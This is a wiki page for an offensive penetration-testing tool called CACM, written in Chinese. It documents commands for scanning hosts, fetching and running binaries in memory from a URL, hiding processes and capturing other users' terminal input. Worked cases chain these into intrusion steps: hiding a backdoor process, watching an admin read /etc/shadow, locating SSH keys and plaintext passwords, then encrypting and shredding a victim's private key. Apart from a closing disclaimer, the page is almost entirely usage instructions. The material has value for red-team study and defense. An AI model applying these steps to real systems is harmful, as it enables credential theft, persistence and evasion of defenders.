Skip to content

CACM 工具使用教程

RuoJi6 edited this page Jul 28, 2025 · 4 revisions

CACM 工具使用教程

📖 简介

CACM (Come and catch me) 是一个高级渗透测试工具,提供了丰富的功能模块用于信息收集、系统发现、权限维持等渗透测试活动。该工具基于 Go 语言开发,支持交互式命令行界面和单命令执行模式。

🚀 快速开始

💻 使用方式

启动方式

# 交互式模式
./CACM
xhelp # 交互式查看帮助

# 单命令执行模式
./CACM -c "命令名 参数"

# 显示帮助
./CACM -h

交互式界面

启动后会看到 CACM 的 ASCII 艺术字和欢迎信息:

 ▗▄▄▖ ▗▄▖  ▗▄▄▖▗▖  ▗▖
▐▌   ▐▌ ▐▌▐▌   ▐▛▚▞▜▌
▐▌   ▐▛▀▜▌▐▌   ▐▌  ▐▌
▝▚▄▄▖▐▌ ▐▌▝▚▄▄▖▐▌  ▐▌ tools

Come and catch me - Advanced Penetration Testing Tool
Version: v1.0 tools
Project: https://github.com/RuoJi6/CACM

🛠️ 核心功能模块

1. 信息收集模块

sub - 子域名发现

功能: 通过 crt.sh 和 ip.thc.org 查询目标域名的所有子域名

ATT&CK: T1590.005 (收集受害者网络信息)

用法:

# 查询单个域名
sub example.com

# 查询多个域名
sub example.com test.com

# 显示详细信息
sub example.com -v

案例:

CACM> sub baidu.com
[*] Querying crt.sh for baidu.com...
[*] Found 156 subdomains from crt.sh
[*] Querying ip.thc.org for baidu.com...
[*] Found 23 additional subdomains from ip.thc.org
[+] Total unique subdomains: 179

www.baidu.com
map.baidu.com
tieba.baidu.com
zhidao.baidu.com
...

ws - 系统信息发现

功能: 全面的系统信息收集,包括系统配置、网络信息、域名等

ATT&CK: T1082 (系统信息发现)

用法:

# 基本信息收集
ws

# 详细模式
ws -v

# 跳过网络信息
ws --no-network

# 输出到文件
ws -o system_info.txt

scan - 端口扫描

功能: 高级端口扫描器,支持服务检测,灵感来自 fscan

ATT&CK: T1046 (网络服务扫描)

用法:

# 扫描单个主机
scan 192.168.1.1

# 扫描网段
scan 192.168.1.0/24

# 指定端口
scan 192.168.1.1 -p 22,80,443,3389

# 指定线程数
scan 192.168.1.0/24 -t 100

# 服务检测
scan 192.168.1.1 -s

案例:

CACM> scan 192.168.1.1 -p 1-1000 -t 50
[*] Starting fscan-style port scan...
[*] Targets: 1 | Ports: 1000 | Threads: 50
[+] 192.168.1.1:22    SSH-2.0-OpenSSH_8.0
[+] 192.168.1.1:80    HTTP/1.1 200 OK
[+] 192.168.1.1:443   HTTPS/1.1 200 OK
[*] Scan completed in 2.3 seconds

2. 系统管理模块

common - 常用命令集合

功能: 提供常用的系统管理命令,灵感来自 hackshell

ATT&CK: T1083 (文件和目录发现)

子命令:

  • lt: 按时间排序列出文件
  • ltr: 递归按时间排序列出文件
  • lss: 按大小排序列出文件
  • lssr: 递归按大小排序列出文件
  • psg: 搜索进程
  • lsg: 搜索文件

用法:

# 按时间列出当前目录文件
common lt

# 递归按时间列出 /var/log
common ltr /var/log

# 按大小列出 /tmp 文件
common lss /tmp

# 搜索 SSH 进程
common psg ssh

# 搜索日志文件
common lsg '\.log$'

xpty - 终端用户发现

功能: 显示所有终端和已登录用户信息

ATT&CK: T1033 (系统所有者/用户发现)

用法:

# 显示所有终端
xpty

# 详细模式
xpty -v

# 仅显示活跃会话
xpty --active

3. 工具下载模块

bin - 静态二进制下载器

功能: 下载各种渗透测试工具的静态编译版本

ATT&CK: T1105 (入口工具传输)

用法:

# 下载单个工具
bin nmap

# 下载多个工具
bin nmap curl jq

# 列出所有可用工具
bin list

# 搜索工具
bin search nmap

# 查看下载记录
bin info

可用工具分类:

  • 网络工具: nmap, ncat, curl, wget, socat, ping, tcpdump
  • 文件工具: fd, find, grep, awk, sed, ripgrep
  • 系统工具: ps, netstat, ss, lsof, busybox, strace
  • 数据工具: jq, base64, hexdump, xxd
  • 安全工具: naabu, fscan, searchall, dddd, gogo

案例:

CACM> bin nmap
[*] Downloading nmap for linux/amd64...
[*] URL: https://bin.pkgforge.dev/x86_64/nmap
[+] Downloaded to: /tmp/nmap (12.3 MB)
[+] Made executable
[*] nmap is ready to use!

4. 内存执行模块

memexec - 内存中执行二进制文件

功能: 在内存中执行二进制文件,无需写入磁盘

ATT&CK: T1055 (进程注入)

用法:

# 从标准输入执行
cat /usr/bin/id | memexec

# 从URL下载并执行
memexec https://example.com/tool

# 执行本地文件
memexec /usr/bin/nmap -sS target.com

# 执行系统命令
memexec id -u

案例:

CACM> echo "#!/bin/bash\necho 'Hello from memory!'" | memexec
[*] Executing binary from stdin...
[+] Binary loaded into memory (45 bytes)
[+] Execution successful
Hello from memory!

5. 进程管理模块

hide - 进程隐藏

功能: 隐藏指定进程,使其不被常规工具发现

ATT&CK: T1055 (进程注入)

用法:

# 隐藏指定PID的进程
hide 1234

# 列出可隐藏的进程
hide list

# 显示隐藏状态
hide status

# 恢复隐藏的进程
hide restore 1234

tit - 用户输入监控

功能: 监控和记录用户在终端中的输入

ATT&CK: T1056 (输入捕获)

用法:

# 列出可监控的进程
tit list

# 监控bash/zsh输入
tit read 1234

# 监控SSH会话输出
tit write 1234

# 调试模式
tit read 1234 --debug

案例:

CACM> tit list
[*] Scanning for monitorable processes...
[+] Found 3 bash processes:
  PID: 1234 - /bin/bash (user: alice)
  PID: 5678 - /bin/zsh (user: bob)
  PID: 9012 - /bin/bash (user: root)

CACM> tit read 1234
[*] Monitoring PID 1234 (/bin/bash)...
[+] Started input monitoring
[2024-01-15 10:30:15] ls -la
[2024-01-15 10:30:20] cat /etc/passwd
[2024-01-15 10:30:25] sudo su -

6. 文件操作模块

enc/dec - 文件加密解密

功能: 对文件进行加密和解密操作

ATT&CK: T1027 (混淆文件或信息)

用法:

# 加密文件
enc secret.txt

# 解密文件
dec secret.txt.enc

# 指定密码
enc secret.txt -p mypassword

# 批量加密
enc *.txt

shred - 安全删除文件

功能: 安全删除文件,防止数据恢复

ATT&CK: T1070.004 (文件删除)

用法:

# 安全删除单个文件
shred sensitive.txt

# 删除多个文件
shred *.log

# 指定覆写次数
shred -n 7 secret.txt

# 删除后移除文件
shred -u temp.txt

7. 网络工具模块

dns - DNS查询工具

功能: 执行各种DNS查询操作

ATT&CK: T1590.005 (收集受害者网络信息)

用法:

# 基本DNS查询
dns example.com

# 指定记录类型
dns example.com A
dns example.com MX
dns example.com TXT

# 反向DNS查询
dns -r 8.8.8.8

# 使用指定DNS服务器
dns example.com -s 8.8.8.8

rdns - 批量反向DNS查询

功能: 对IP地址范围进行批量反向DNS查询

用法:

# 查询单个IP
rdns 8.8.8.8

# 查询IP范围
rdns 192.168.1.1-192.168.1.100

# 查询网段
rdns 192.168.1.0/24

# 指定线程数
rdns 192.168.1.0/24 -t 50

8. 系统维持模块

xsu - 用户切换

功能: 切换到其他用户身份

ATT&CK: T1078 (有效账户)

用法:

# 切换到root用户
xsu root

# 切换到指定用户
xsu alice

# 执行单个命令
xsu root "id"

xhome - 设置工作目录

功能: 设置和管理工具的工作目录

用法:

# 设置工作目录
xhome /tmp/workspace

# 显示当前工作目录
xhome

# 创建并设置目录
xhome -c /opt/tools

# 切换到工作目录
xhome cd 

9. 实用工具模块

wfind - 文件搜索

功能: 高级文件搜索功能

ATT&CK: T1083 (文件和目录发现)

用法:

# 按名称搜索
wfind config.txt

# 按扩展名搜索
wfind "*.log"

# 按大小搜索
wfind -size +100M

# 按修改时间搜索
wfind -mtime -7

hgrep - 高级文本搜索

功能: 增强的grep功能,支持多种搜索模式

用法:

# 基本搜索
hgrep "password" /etc/

# 正则表达式搜索
hgrep -E "^admin:" /etc/passwd

# 忽略大小写
hgrep -i "error" /var/log/

# 递归搜索
hgrep -r "secret" /home/

🎯 实战案例

案例1: 内网信息收集

# 1. 收集系统信息
CACM> ws -v -o system_info.txt
[*] Collecting system information...
[+] OS: Ubuntu 20.04.3 LTS
[+] Kernel: 5.4.0-91-generic
[+] CPU: Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz (4 cores)
[+] Memory: 8GB total, 2.1GB available

# 2. 发现网络中的其他主机
CACM> scan 192.168.1.0/24 -p 22,80,443,3389 -t 100
[*] Starting network scan...
[+] 192.168.1.10:22   SSH-2.0-OpenSSH_7.4
[+] 192.168.1.15:80   HTTP/1.1 200 OK
[+] 192.168.1.20:443  HTTPS/1.1 200 OK
[+] 192.168.1.25:3389 RDP

# 3. 收集域名信息
CACM> sub company.com
[*] Found 45 subdomains:
mail.company.com
vpn.company.com
admin.company.com
...

# 4. 查看当前用户和进程
CACM> xpty
[*] Active terminals and users:
pts/0    alice    192.168.1.100
pts/1    bob      192.168.1.101

案例2: 权限维持

# 1. 下载必要工具
CACM> bin nmap netcat socat
[*] Downloading tools...
[+] nmap downloaded successfully
[+] netcat downloaded successfully
[+] socat downloaded successfully

# 2. 隐藏关键进程
CACM> hide list
[*] Scannable processes:
  PID: 1234 - /usr/bin/backdoor
  PID: 5678 - /tmp/persistence

CACM> hide 1234
[+] Process 1234 hidden successfully

# 3. 监控管理员活动
CACM> tit list
[*] Found admin session: PID 9999
CACM> tit read 9999
[*] Monitoring admin input...
[2024-01-15 14:30:00] sudo systemctl status firewall
[2024-01-15 14:30:15] cat /etc/shadow

案例3: 数据收集与传输

# 1. 搜索敏感文件
CACM> wfind "*.key" /home/ /etc/ /opt/
[+] /home/alice/.ssh/id_rsa
[+] /etc/ssl/private/server.key
[+] /opt/app/config/database.key

# 2. 搜索包含密码的文件
CACM> hgrep -r -i "password\|passwd\|pwd" /etc/ /home/
[+] /etc/mysql/my.cnf:password=secret123
[+] /home/bob/.bashrc:export DB_PASSWORD=admin123

# 3. 加密敏感数据
CACM> enc /home/alice/.ssh/id_rsa
[*] Encrypting file...
[+] File encrypted: /home/alice/.ssh/id_rsa.enc

# 4. 安全删除原文件
CACM> shred -u /home/alice/.ssh/id_rsa
[*] Securely deleting file...
[+] File securely deleted

⚠️ 注意事项

  1. 合法使用: 本工具仅用于授权的渗透测试和安全研究,请勿用于非法活动
  2. 权限要求: 某些功能需要root权限才能正常工作
  3. 环境兼容: 主要支持Linux系统,部分功能可能在其他系统上有限制
  4. 检测规避: 隐蔽模式可以帮助规避一些检测,但不能保证100%隐蔽
  5. 数据安全: 使用加密功能时请妥善保管密码,丢失密码将无法恢复数据

📚 参考资源


免责声明: 本工具仅供安全研究和授权测试使用,使用者需对自己的行为负责。开发者不承担任何因误用或滥用本工具而产生的法律责任。

Clone this wiki locally